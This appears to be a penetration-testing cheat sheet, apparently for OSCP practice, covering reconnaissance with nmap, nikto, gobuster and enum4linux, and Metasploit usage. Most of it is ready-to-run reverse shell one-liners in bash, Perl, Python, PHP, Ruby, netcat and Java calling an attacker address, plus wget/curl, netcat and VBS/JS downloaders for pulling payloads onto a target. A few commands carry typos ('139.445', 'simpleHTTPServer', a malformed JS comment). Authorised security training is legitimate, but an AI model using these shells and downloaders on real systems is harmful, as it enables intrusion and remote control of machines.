Quick and Dirty Cheatsheet

Nmap

Quick Host ping

```
nmap -sn 10.0.0.0/24
```

In Depth Scan

```
nmap -A -oA nmap 10.10.10.0
```

```
nmap -sC -sV -o nmap 10.10.10.0
```

Common Services

HTTP(S)

Nikto host scan

```
nikto -host 10.0.0.0 -port 80
```

Gobuster

```
gobuster -u http://10.0.0.0 -w /usr/share/wordlists/dirbuster/directory-list2.3-medium.txt -x html,php,txt -t 50
```

SMB / Samba

Nmap Scripts

```
locate *.nse | grep smb
```

```
nmap -p 139.445 --script=[scriptname] 10.0.0.0
```

enum4linux

```
enum4linux -a 10.0.0.0
```

FTP

Anonymous Login

```
username: anonymouse
password: anything
```

SSH

Banner grab

```
nc -nv 10.0.0.0 22
```

General Exploits

```
searchsploit [search terms]
```

Or just google 4head

Metaploit

One time use on OSCP Unlimited usage of `exploit/multi/handler` One time use of meterpreter

```
msf5> search [search terms]
msf5> use [path/to/exploit]
msf5> set [exploit option] [option value]
msf5> run -j
```

Post Exploitation

```
msf5> use local/multi/recon/local_exploit_suggestor
msf5> set SESSION [ID]
msf5> run
```

Quick Note: `windows/meterpreter/reverse_tcp` is staged `windows/meterpreter_reverse_tcp` is stageless

Reverse Shells

These are all super manual, except for when generating with `msfvenom`

UNIVERSAL

```
msfvenom -p [platform]/reverse_shell_tcp -f [format] -o [outputfile]
```

Linux

Bash

```
bash -i >& /dev/tcp/[attack ip]/[port] 0>&1
```

Perl

```
perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

Python

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Netcat (unsafe install)

```
nc -e /bin/sh 10.0.0.1 1234
```

Netcat (safe install)

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as
String[])
p.waitFor()
```

Windows

Honestly, just use `msfvenom`

- Try getting nc.exe on the machine
  - nc.exe -e cmd.exe [attacker] [port]
- asp/aspx shells if the server is running IIS
- Powershell

File Transfer

Linux

Hosting

```
python -m simpleHTTPServer
```

Retrieving

```
wget [attacker]/[file]
curl http://[attacker]/[file]
```

Netcat

Hosting

```
nc -lvnp [port] < [file]
```

Retrieving

```
nc -nv [attacker] [port] > [file]
```

Windows

Janky vbs script for file download (imitates wget) - builds line by line

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
```

```
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

Run with:

```
cscript wget.vbs http://[attacker]/[file] [filename]
```

Janky js for file download (manual) - raw

```
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();

/* echo WScript.Echo(WinHttpReq.ResponseText); Use for nonbinary files */

BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);

/* change file name here /*
BinStream.SaveToFile("out.exe");
```

Run with

```
cscript /nologo wget.js http://[attacker]/[file]
```